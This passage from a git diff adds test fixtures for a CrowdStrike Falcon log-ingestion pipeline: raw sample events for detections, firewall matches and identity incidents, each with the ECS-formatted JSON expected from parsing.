\"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Prevention, process killed.\",\n        \"PatternDispositionValue\": 16,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": true,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": false,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": false\n        }\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "ac4c51eb24aa95b77f705ab159189e24",
+                    "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a"
+                },
+                "name": "explorer.exe",
+                "path": "\\Device\\HarddiskVolume1\\Windows"
+            },
+            "host": {
+                "domain": "CORP-DOMAIN",
+                "name": "alice-laptop"
+            },
+            "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\Explorer.EXE"
+                ],
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "entity_id": "38684386611",
+                "executable": "C:\\Windows\\Explorer.EXE",
+                "name": "explorer.exe",
+                "parent": {
+                    "entity_id": "38682494050",
+                    "pid": 38682494050
+                },
+                "pid": 38684386611,
+                "start": "2018-09-13T13:45:39.000Z"
+            },
+            "related": {
+                "hash": [
+                    "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
+                    "ac4c51eb24aa95b77f705ab159189e24"
+                ],
+                "hosts": [
+                    "alice-laptop"
+                ],
+                "ip": [
+                    "192.168.12.51"
+                ],
+                "user": [
+                    "alice"
+                ]
+            },
+            "rule": {
+                "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+                "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
+                "name": "Process Terminated"
+            },
+            "source": {
+                "ip": "192.168.12.51"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Ransomware"
+                    ]
+                }
+            },
+            "user": {
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-03-04T04:17:56.766Z",
+            "crowdstrike": {
+                "event": {
+                    "FineScore": 1.2,
+                    "State": "open"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "IncidentSummaryEvent",
+                    "offset": 1824,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "incident"
+                ],
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-03-04T04:17:56.766Z",
+                "end": "2020-03-04T04:17:50.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1824,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1583295476766,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1583295228,\n        \"IncidentEndTime\": 1583295470,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"State\": \"open\",\n        \"FineScore\": 1.2\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                "start": "2020-03-04T04:13:48.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "Incident score 1.2",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-06-26T15:55:52.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "quarantined_file_id",
+                            "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
+                        },
+                        {
+                            "Key": "action_taken",
+                            "ValueString": "quarantined"
+                        }
+                    ],
+                    "ServiceName": "quarantined_files"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 22865,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-06-26T15:55:52.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 22865,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1593186952000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"Crowdstrike\",\n        \"UserIp\": \"\",\n        \"OperationName\": \"quarantined_file_update\",\n        \"ServiceName\": \"quarantined_files\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"quarantined_file_id\",\n                \"ValueString\": \"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78\"\n            },\n            {\n                \"Key\": \"action_taken\",\n                \"ValueString\": \"quarantined\"\n            }\n        ],\n        \"UTCTimestamp\": 1593186952\n    }\n}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "quarantined_file_update",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "Crowdstrike"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "Crowdstrike"
+            }
+        },
+        {
+            "@timestamp": "2020-02-19T08:30:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "MACAddress": "00-00-00-11-22-33",
+                    "MitreAttack": [
+                        {
+                            "Tactic": "Insecure security posture",
+                            "TacticID": "CSTA0009",
+                            "Technique": "Bad device settings",
+                            "TechniqueID": "CST0024"
+                        },
+                        {
+                            "Tactic": "Exfiltration",
+                            "TacticID": "TA0010",
+                            "Technique": "Exfiltration Over Web Service",
+                            "TechniqueID": "T1567"
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "PatternDispositionFlags": {
+                        "Detect": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillParent": false,
+                        "KillProcess": true,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "Rooting": false,
+                        "SensorOnly": false
+                    },
+                    "PatternDispositionValue": 16,
+                    "SensorId": "7c808b4c8878433287eea53d4a8c3268",
+                    "Severity": 4,
+                    "SeverityName": "High"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 294564,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention, process killed.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-02-19T08:30:00.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 294564,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1582101000000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1536846339,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 38684386611,\n        \"ParentProcessId\": 38682494050,\n        \"ComputerName\": \"alice-laptop\",\n        \"UserName\": \"alice\",\n        \"DetectName\": \"Process Terminated\",\n        \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n        \"Severity\": 4,\n        \"SeverityName\": \"High\",\n        \"FileName\": \"explorer.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n        \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n        \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n        \"MachineDomain\": \"CORP-DOMAIN\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n        \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n        \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n        \"LocalIP\": \"192.168.12.51\",\n        \"MACAddress\": \"00-00-00-11-22-33\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"Ransomware\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Prevention, process killed.\",\n        \"PatternDispositionValue\": 16,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": true,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": false,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": false\n        },\n        \"MitreAttack\": [\n            {\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t},\n            {\n                \"Tactic\": \"Exfiltration\",\n                \"TacticID\": \"TA0010\",\n                \"Technique\": \"Exfiltration Over Web Service\",\n                \"TechniqueID\": \"T1567\"\n            }\n        ]\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "ac4c51eb24aa95b77f705ab159189e24",
+                    "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a"
+                },
+                "name": "explorer.exe",
+                "path": "\\Device\\HarddiskVolume1\\Windows"
+            },
+            "host": {
+                "domain": "CORP-DOMAIN",
+                "name": "alice-laptop"
+            },
+            "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\Explorer.EXE"
+                ],
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "entity_id": "38684386611",
+                "executable": "C:\\Windows\\Explorer.EXE",
+                "name": "explorer.exe",
+                "parent": {
+                    "entity_id": "38682494050",
+                    "pid": 38682494050
+                },
+                "pid": 38684386611,
+                "start": "2018-09-13T13:45:39.000Z"
+            },
+            "related": {
+                "hash": [
+                    "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
+                    "ac4c51eb24aa95b77f705ab159189e24"
+                ],
+                "hosts": [
+                    "alice-laptop"
+                ],
+                "ip": [
+                    "192.168.12.51"
+                ],
+                "user": [
+                    "alice"
+                ]
+            },
+            "rule": {
+                "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+                "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
+                "name": "Process Terminated"
+            },
+            "source": {
+                "ip": "192.168.12.51"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "CSTA0009",
+                        "TA0010"
+                    ],
+                    "name": [
+                        "Malware",
+                        "Insecure security posture",
+                        "Exfiltration"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0024",
+                        "T1567"
+                    ],
+                    "name": [
+                        "Ransomware",
+                        "Bad device settings",
+                        "Exfiltration Over Web Service"
+                    ]
+                }
+            },
+            "user": {
+                "name": "alice"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
new file mode 100644
index 0000000000..8c7d2c1ba2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
@@ -0,0 +1,46 @@
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70689,
+        "eventType": "FirewallMatchEvent",
+        "eventCreationTime": 1595248906000,
+        "version": "1.0"
+    },
+    "event": {
+        "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "Ipv": "ipv4",
+        "CommandLine": "nginx",
+        "ConnectionDirection": "1",
+        "EventType": "FirewallRuleIP4Matched",
+        "Flags": {
+            "Audit": false,
+            "Log": false,
+            "Monitor": true
+        },
+        "HostName": "TESTDEVICE01",
+        "ICMPCode": "",
+        "ICMPType": "",
+        "ImageFileName": "/usr/bin/nginx",
+        "LocalAddress": "10.10.10.10",
+        "LocalPort": "445",
+        "MatchCount": 1,
+        "MatchCountSinceLastReport": 1,
+        "NetworkProfile": "2",
+        "PID": "206158879910",
+        "PolicyName": "PROD-FW-TESTSTATION-General",
+        "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p",
+        "Protocol": "6",
+        "RemoteAddress": "216.160.83.56",
+        "RemotePort": "54952",
+        "RuleAction": "2",
+        "RuleDescription": "",
+        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
+        "RuleGroupName": "SMB Rules",
+        "RuleName": "Inbound SMB Block \u0026 Log Private",
+        "RuleId": "4877172638743447345",
+        "Status": "",
+        "Timestamp": "2020-07-20T12:41:44Z",
+        "TreeID": "158446832506666"
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
new file mode 100644
index 0000000000..77ad99a7c3
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
@@ -0,0 +1,118 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-07-20T12:41:46.000Z",
+            "crowdstrike": {
+                "event": {
+                    "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "Flags": {
+                        "Audit": false,
+                        "Log": false,
+                        "Monitor": true
+                    },
+                    "MatchCount": 1,
+                    "MatchCountSinceLastReport": 1,
+                    "NetworkProfile": "2",
+                    "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "PolicyName": "PROD-FW-TESTSTATION-General",
+                    "Protocol": "6",
+                    "RuleAction": "2",
+                    "Timestamp": "2020-07-20T12:41:44Z",
+                    "TreeID": "158446832506666"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "FirewallMatchEvent",
+                    "offset": 70689,
+                    "version": "1.0"
+                }
+            },
+            "destination": {
+                "ip": "10.10.10.10",
+                "port": 445
+            },
+            "device": {
+                "id": "12345a1bc2d34fghi56jk7890lmno12p"
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "firewall_match_event"
+                ],
+                "category": [
+                    "network"
+                ],
+                "code": "FirewallRuleIP4Matched",
+                "created": "2020-07-20T12:41:46.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70689,\n        \"eventType\": \"FirewallMatchEvent\",\n        \"eventCreationTime\": 1595248906000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"DeviceId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Ipv\": \"ipv4\",\n        \"CommandLine\": \"nginx\",\n        \"ConnectionDirection\": \"1\",\n        \"EventType\": \"FirewallRuleIP4Matched\",\n        \"Flags\": {\n            \"Audit\": false,\n            \"Log\": false,\n            \"Monitor\": true\n        },\n        \"HostName\": \"TESTDEVICE01\",\n        \"ICMPCode\": \"\",\n        \"ICMPType\": \"\",\n        \"ImageFileName\": \"/usr/bin/nginx\",\n        \"LocalAddress\": \"10.10.10.10\",\n        \"LocalPort\": \"445\",\n        \"MatchCount\": 1,\n        \"MatchCountSinceLastReport\": 1,\n        \"NetworkProfile\": \"2\",\n        \"PID\": \"206158879910\",\n        \"PolicyName\": \"PROD-FW-TESTSTATION-General\",\n        \"PolicyID\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Protocol\": \"6\",\n        \"RemoteAddress\": \"216.160.83.56\",\n        \"RemotePort\": \"54952\",\n        \"RuleAction\": \"2\",\n        \"RuleDescription\": \"\",\n        \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n        \"RuleGroupName\": \"SMB Rules\",\n        \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n        \"RuleId\": \"4877172638743447345\",\n        \"Status\": \"\",\n        \"Timestamp\": \"2020-07-20T12:41:44Z\",\n        \"TreeID\": \"158446832506666\"\n    }\n}",
+                "type": [
+                    "start",
+                    "connection",
+                    "denied"
+                ]
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'",
+            "network": {
+                "direction": "ingress",
+                "type": "ipv4"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "nginx"
+                ],
+                "command_line": "nginx",
+                "entity_id": "206158879910",
+                "executable": "/usr/bin/nginx",
+                "pid": 206158879910
+            },
+            "related": {
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "ip": [
+                    "216.160.83.56",
+                    "10.10.10.10"
+                ]
+            },
+            "rule": {
+                "category": "fec73e96a1bf4481be582c3f89b234fa",
+                "id": "4877172638743447345",
+                "name": "Inbound SMB Block & Log Private",
+                "ruleset": "SMB Rules"
+            },
+            "source": {
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56",
+                "port": 54952
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
new file mode 100644
index 0000000000..8c51652f04
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
@@ -0,0 +1,26 @@
+{
+    "metadata": {
+        "customerIDString": "3426316453426234",
+        "offset": 2664264,
+        "eventType": "IdentityProtectionEvent",
+        "eventCreationTime": 1686891836581,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentType": "UNUSUAL_ENDPOINT_USE",
+        "IncidentDescription": "User seen coming from a location that deviates from their baseline.",
+        "Severity": 1,
+        "SeverityName": "INFO",
+        "StartTime": 1686891836383,
+        "EndTime": 1686891836553,
+        "IdentityProtectionIncidentId": "INC-123",
+        "UserName": "TESTUSER",
+        "EndpointName": "TESTHOSTNAME",
+        "EndpointIp": "89.160.20.112",
+        "Category": "Incidents",
+        "NumbersOfAlerts": 1,
+        "NumberOfCompromisedEntities": 1,
+        "State": "NEW",
+        "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
new file mode 100644
index 0000000000..286f1e441e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
@@ -0,0 +1,65 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-16T05:03:56.383Z",
+            "crowdstrike": {
+                "event": {
+                    "Category": "Incidents",
+                    "NumberOfCompromisedEntities": 1,
+                    "NumbersOfAlerts": 1,
+                    "Severity": 1,
+                    "SeverityName": "INFO",
+                    "State": "NEW"
+                },
+                "metadata": {
+                    "customerIDString": "3426316453426234",
+                    "eventType": "IdentityProtectionEvent",
+                    "offset": 2664264,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "UNUSUAL_ENDPOINT_USE",
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-06-16T05:03:56.581Z",
+                "end": "2023-06-16T05:03:56.553Z",
+                "id": "INC-123",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"3426316453426234\",\n        \"offset\": 2664264,\n        \"eventType\": \"IdentityProtectionEvent\",\n        \"eventCreationTime\": 1686891836581,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentType\": \"UNUSUAL_ENDPOINT_USE\",\n        \"IncidentDescription\": \"User seen coming from a location that deviates from their baseline.\",\n        \"Severity\": 1,\n        \"SeverityName\": \"INFO\",\n        \"StartTime\": 1686891836383,\n        \"EndTime\": 1686891836553,\n        \"IdentityProtectionIncidentId\": \"INC-123\",\n        \"UserName\": \"TESTUSER\",\n        \"EndpointName\": \"TESTHOSTNAME\",\n        \"EndpointIp\": \"89.160.20.112\",\n        \"Category\": \"Incidents\",\n        \"NumbersOfAlerts\": 1,\n        \"NumberOfCompromisedEntities\": 1,\n        \"State\": \"NEW\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123\"\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123",
+                "severity": 21,
+                "start": "2023-06-16T05:03:56.383Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "hostname": "TESTHOSTNAME",
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "message": "User seen coming from a location that deviates from their baseline.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "TESTUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "TESTUSER"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
new file mode 100644
index 0000000000..0babda0a98
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
@@ -0,0 +1,25 @@
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 2,
+        "eventType": "IncidentSummaryEvent",
+        "eventCreationTime": 1686845212400,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentStartTime": 1685844891,
+        "IncidentEndTime": 1685844892,
+        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID",
+        "State": "open",
+        "FineScore": 0.5,
+        "LateralMovement": 0,
+        "IncidentType": 1,
+        "IncidentID": "inc:123:abc",
+        "HostID": "TESTHOSTID",
+        "LMHostIDs": [
+            "TESTHOSTID1",
+            "TESTHOSTID2"
+        ],
+        "UserId": "first.last@company.com"
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
new file mode 100644
index 0000000000..6f665874ac
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
@@ -0,0 +1,67 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "FineScore": 0.5,
+                    "IncidentType": "1",
+                    "LMHostIDs": [
+                        "TESTHOSTID1",
+                        "TESTHOSTID2"
+                    ],
+                    "State": "open"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "IncidentSummaryEvent",
+                    "offset": 2,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "incident"
+                ],
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "end": "2023-06-04T02:14:52.000Z",
+                "id": "inc:123:abc",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 2,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1685844891,\n        \"IncidentEndTime\": 1685844892,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID\",\n        \"State\": \"open\",\n        \"FineScore\": 0.5,\n        \"LateralMovement\": 0,\n        \"IncidentType\": 1,\n        \"IncidentID\": \"inc:123:abc\",\n        \"HostID\": \"TESTHOSTID\",\n        \"LMHostIDs\": [\n            \"TESTHOSTID1\",\n            \"TESTHOSTID2\"\n        ],\n        \"UserId\": \"first.last@company.com\"\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID",
+                "start": "2023-06-04T02:14:51.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "TESTHOSTID"
+            },
+            "message": "Incident score 0.5",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
new file mode 100644
index 0000000000..50ca9b4e77
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
@@ -0,0 +1,75 @@
+{
+	"metadata": {
+		"customerIDString": "12312312312312321",
+		"offset": 2662765,
+		"eventType": "IdpDetectionSummaryEvent",
+		"eventCreationTime": 1686848064000,
+		"version": "1.0"
+	},
+	"event": {
+		"ContextTimeStamp": 133221234560000000,
+		"DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
+		"DetectName": "Unusual login to an endpoint",
+		"DetectDescription": "A user logged in to a machine for the first time",
+		"FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
+		"StartTime": 123456789000000000,
+		"EndTime": 123456789000000000,
+		"Severity": 7,
+		"Tactic": "Initial Access",
+		"Technique": "Valid Accounts",
+		"Objective": "Gain Access",
+		"SourceAccountDomain": "DOMAIN.COM",
+		"SourceAccountName": "johnb",
+		"SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+		"SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
+		"SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
+		"SourceEndpointHostName": "pc01.domain.com",
+		"SourceEndpointIpAddress": "81.2.69.144",
+		"SourceEndpointSensorId": "12345678901234567890123456789012",
+		"PrecedingActivityTimeStamp": 133154452345780000,
+		"MostRecentActivityTimeStamp": 133313215755670000,
